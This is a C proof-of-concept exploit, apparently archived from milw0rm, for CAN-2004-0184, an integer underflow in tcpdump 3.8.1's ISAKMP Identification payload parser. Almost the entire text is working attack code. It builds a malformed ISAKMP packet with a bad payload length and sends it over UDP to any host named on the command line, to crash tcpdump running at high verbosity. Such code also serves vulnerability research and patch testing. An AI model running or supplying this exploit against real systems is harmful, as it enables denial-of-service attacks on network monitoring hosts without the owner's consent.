tcpdump ISAKMP Identification payload Integer Overflow Exploit



/*

 * tcpdump packet sniffer
 * Integer underflow in ISAKMP Identification payload
 * denial of service vulnerability
 * proof of concept code
 * version 1.0 (Apr 02 2004)
 * CVE-ID: CAN-2004-0184
 *
 * by Remi Denis-Courmont < exploit at simphalampin dot com >
 *   www simphalempin com dev 
 * Remi Denis-Courmont is not responsible for the misuse of the
 * source code provided hereafter.
 * 
 * This vulnerability was found by:
 *   Rapid7, LLC Security Advisory - www rapid7 com
 * whose original advisory may be fetched from:
 *   www rapid7 com advisories R7-0017 html
 *
 * Vulnerable:
 *  - tcpdump 3.8.1
 *
 * Not vulnerable:
 *  - tcpdump 3.8.3
 *
 * NOTES:
 *   The vulnerability cannot be exploited to cause a denial of service
 * with the Debian's tcpdump packages as it was partly fixed as part of
 * the fix for earlier known CAN-2003-0108 vulnerability, though the bug
 * is still present. That may be the case for other vendors which were
 * not investigated.
 *
 *   tcpdump must be run with a verbosity level of at least 3:
 * # tcpdump -vvv
 * Otherwise, no denial of service will occur.
 */


#include <string.h>
#include <stdio.h>

#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>

#include <netdb.h>

static const char packet[] =
    /* ISAKMP header */
    "\x00\x00\x00\x00\x00\x00\x00\x00" /* Initiator cookie */
    "\x00\x00\x00\x00\x00\x00\x00\x00" /* Responder cookie */
    "\x05"            /* Next payload: Identification */
    "\x10"            /* Version: 1.0 */
    "\x01"            /* Exchange type */
    "\x00"            /* Flags */
    "\x00\x00\x00\x00"    /* Message ID */
    "\x00\x00\x00\x24"    /* Length */
    
    /* ISAKMP Identification payload */
    "\x00"            /* Next payload: none */
    "\x00"            /* Reserved */
    "\x00\x05"        /* Payload length (incorrect) */
    "\x20"            /* ID type (unknown) */
    "\x00\x00\x00"        /* DOI */
;

static int
send_evil_packet (const struct addrinfo *r)
{
    int fd;
    size_t len;
        
    fd = socket (r->ai_family, r->ai_socktype, r->ai_protocol);
    if (fd == -1)
    {
        perror ("Socket error");
        return 1;
    }

    len = sizeof (packet) - 1;
    if (sendto (fd, packet, len, 0, r->ai_addr, r->ai_addrlen) != len)
    {
        perror ("Packet sending error");
        close (fd);
        return 1;
    }
    
    puts ("Packet sent!");
    close (fd);
    return 0;
}


static int
proof (const char *hostname)
{
    struct addrinfo *res;
    int check;
    
    {
        struct addrinfo help;
        memset (&help, 0, sizeof (help));
        help.ai_socktype = SOCK_DGRAM;
    
        check = getaddrinfo (hostname, "isakmp", &help, &res);
    }
    
    if (check == 0)
    {
        struct addrinfo *ptr;

        for (ptr = res; ptr != NULL; ptr = ptr->ai_next)
            check |= send_evil_packet (ptr);

        freeaddrinfo (res);
        return check;
    }

    fprintf (stderr, "%s: %s\n", hostname, gai_strerror (check));
    return -1;
}


static void
usage (const char *path)
{
    fprintf (stderr, "Usage: %s <hostname/IP>\n", path);
}


int
main (int argc, char *argv[])
{
    puts ("tcpdump Integer underflow in ISAKMP Identification payload\n"
        "proof of concept code\n"
        "Copyright (C) Remi Denis-Courmont 2004 "
        "<\x65\x78\x70\x6c\x6f\x69\x74\x40\x73\x69\x6d\x70"
        "\x68\x61\x6c\x65\x6d\x70\x69\x6e\x2e\x63\x6f\x6d>\n");
            
            
    if (argc != 2)
    {
        usage (argv[0]);
        return 2;
    }
        
    return proof (argv[1]) ? 1 : 0;
}

// milw0rm.com [2004-04-05]